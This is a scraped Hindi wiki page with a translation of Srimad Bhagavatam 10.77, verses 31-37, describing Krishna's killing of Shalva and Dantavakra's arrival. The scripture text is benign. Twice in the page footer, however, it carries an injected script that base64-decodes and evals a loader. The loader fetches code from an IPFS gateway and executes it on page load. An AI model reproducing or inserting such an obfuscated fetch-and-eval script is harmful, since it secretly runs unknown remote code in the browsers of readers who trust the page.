श्रीमद्भागवत महापुराण दशम स्कन्ध अध्याय 77 श्लोक 31-37  

दशम स्कन्ध: सप्तसप्ततितमोऽध्यायः(77) (उत्तरार्ध)

श्रीमद्भागवत महापुराण: दशम स्कन्ध: सप्तसप्ततितमोऽध्यायः श्लोक 31-37 का हिन्दी अनुवाद


कहाँ अज्ञानियों में रहने वाले शोक, मोह, स्नेह और भय; तथा कहाँ वे परिपूर्ण भगवान श्रीकृष्ण—जिनका ज्ञान, विज्ञान और ऐश्वर्य अखण्डित है, एकरस है (भला उनमें वैसे भावों की सम्भावना ही कहाँ है ?) । बड़े-बड़े ऋषि-मुनि भगवान श्रीकृष्ण के चरणकमलों कि सेवा करके आत्मविद्या का भलीभाँति सम्पादन करते हैं और उसके द्वारा शरीर आदि में आत्मबुद्धि रूप अनादि अज्ञान को मिटा डालते हैं तथा आत्मसम्बन्धी अनन्त ऐश्वर्य प्राप्त करते हैं। उन संतों के परमगतिस्वरूप भगवान श्रीकृष्ण में भला, मोह कैसे हो सकता है । अब शाल्व भगवान श्रीकृष्ण पर बड़े उत्साह और वेग से शस्त्रों की वर्षा करने लगा था। अमोघशक्ति भगवान श्रीकृष्ण ने भी अपने बाणों से शाल्व को घायल कर दिया और उनके कवच, धनुष तथा सिर की मणि को छिन्न-भिन्न कर दिया। साथ ही गदा की चोट से उसके विमान को भी जर्जर कर दिया । परीक्षित्! भगवान श्रीकृष्ण के हाथों से चलायी हुई गदा से वह विमान चूर-चूर होकर समुद्र में गिर पड़ा। गिरने से पहले ही शाल्व हाथ में गदा लेकर धरती पर कूद पड़ा और सावधान होकर बड़े वेग से भगवान श्रीकृष्ण की ओर झपटा । शाल्व को आक्रमण करते देख उन्होंने भाले से गदा के साथ उसका हाथ काट गिराया। फिर उसे मार डालने के लिये उन्होंने प्रलयकालीन सूर्य के समान तेजस्वी और अत्यन्त अद्भुत सुदर्शन चक्र धारण कर लिया। उस समय ऐसी शोभा हो रही थी, मानो सूर्य के साथ उदयाचल शोभायमान हो । भगवान श्रीकृष्ण ने उस चक्र से परममायवी शाल्व का कुण्डल-किरीट सहित सिर धड़ अलग कर दिया; ठीक अविसे ही, जैसे इन्द्र ने वज्र से वृत्रासुर का सिर काट डाला था। उस समय शाल्व के सैनिक अत्यन्त दुःख से ‘हाय-हाय’ चिल्ला उठे । परीक्षित्! जब पापी शाल्व मर गया और उसका विमान भी गदा के प्रहार से चूर-चूर हो गया, तब देव्तालोग आकाश में दुन्दुभियाँ बजाने लगे। ठीक इसी समय दन्तवक्त्र अपने मित्र शिशुपाल आदि का बदला लेने के लिये अत्यन्त क्रोधित हो आ पहुँचा ।







« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

-

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=श्रीमद्भागवत_महापुराण_दशम_स्कन्ध_अध्याय_77_श्लोक_31-37&oldid=533431" से लिया गया